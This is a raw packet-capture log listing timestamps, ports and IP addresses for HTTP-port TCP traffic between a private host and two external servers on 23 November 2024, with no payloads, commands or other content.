Nov 23, 2024 11:22:25.132256031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.132311106 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.133145094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.133189917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.133239985 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.134128094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.134239912 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.134295940 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.135109901 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.135262966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.135303020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.136125088 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.136164904 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.136171103 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.136414051 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.137111902 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.137161016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.137244940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.137304068 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.138123989 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.138161898 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.138215065 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.138257980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.139102936 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.139156103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.139290094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.139399052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.140134096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.140218019 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.140239954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.140418053 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.141103029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.141150951 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.141220093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.141292095 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.142082930 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.142126083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.142134905 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.142303944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.143069983 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.143115044 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.143150091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.143348932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.144047022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.144092083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.144134998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.144445896 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.145065069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.145239115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.145281076 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.146061897 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.146112919 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.146136045 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.146168947 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.147037983 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.147084951 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.147133112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.147222042 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.148031950 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.148072004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.148164034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.148443937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.149055958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.149104118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.149147987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.149275064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.150079966 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.150125980 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.150187016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.151097059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.152251959 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.291146040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.291232109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.291260958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.291436911 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.291614056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.291733980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.291774035 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.308633089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.410701036 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.410718918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.410763025 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.410783052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.411134958 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.411150932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.411185026 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.411201000 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530256033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530278921 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530293941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530309916 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530325890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530343056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530342102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530397892 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530399084 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530416012 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530432940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530437946 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530448914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530466080 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530466080 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530479908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530481100 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530497074 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530505896 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530535936 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530538082 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530554056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530572891 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530590057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530596018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530606031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530608892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530621052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530633926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530637980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530658007 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530680895 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530682087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530697107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530714035 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530730009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530733109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530745983 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530760050 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530762911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530780077 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530787945 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530817986 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530818939 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530828953 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530841112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530854940 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530870914 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530879021 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530885935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530901909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530908108 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530917883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530919075 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530934095 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530941963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530956030 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530965090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.530982971 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.530988932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531003952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531008959 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531018972 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531021118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531035900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531044006 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531052113 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531055927 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531069040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531073093 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531085014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531089067 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531105042 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531124115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531126976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531147957 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531164885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531181097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531182051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531198025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531213999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531215906 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531235933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531236887 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531251907 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531253099 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531269073 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531274080 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531285048 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531286955 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531301022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531307936 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531327009 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531327963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531335115 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531343937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531359911 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531373978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531380892 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531389952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531404972 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531411886 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531421900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531426907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531438112 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531461000 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531471014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531487942 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531488895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531500101 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531502962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531517982 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531522036 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531533003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531538963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531548977 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531554937 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531564951 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531564951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531580925 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531584978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531596899 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531600952 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531613111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531614065 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531629086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531634092 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531645060 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531647921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531661987 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531663895 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531677961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531682014 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531696081 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531706095 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531717062 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531725883 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531749964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531764984 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531779051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531795979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531801939 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531810999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531821012 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531826973 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531842947 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531851053 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531858921 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531867027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531891108 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531898975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531914949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531928062 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531934023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531944990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531956911 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531960011 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531968117 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.531975985 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531991005 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.531994104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532001972 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532006979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532016993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532031059 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532052040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532056093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532073021 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532108068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532111883 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532125950 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532140970 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532156944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532160997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532172918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.532176018 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532190084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532200098 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532211065 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.532238007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532253981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532268047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532283068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532295942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532299995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532313108 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532316923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532334089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532346010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532350063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532366991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532372952 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532382965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532397985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532408953 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532413006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532433033 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532438993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532448053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532463074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532480001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532489061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532495975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532511950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532515049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532530069 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532532930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532561064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532576084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532592058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532602072 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532607079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532623053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532629967 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532639027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532649040 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532655954 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532671928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532679081 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532711983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532727957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532742023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532753944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532758951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532774925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532780886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532790899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532795906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532807112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532831907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532847881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532864094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532879114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532893896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532902956 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532910109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532924891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532929897 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532942057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532949924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532979012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.532983065 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.532998085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533013105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533029079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533044100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533052921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533060074 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533075094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533078909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533113956 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533116102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533129930 CET	80	49786	34.116.198.130	192.168.2.4
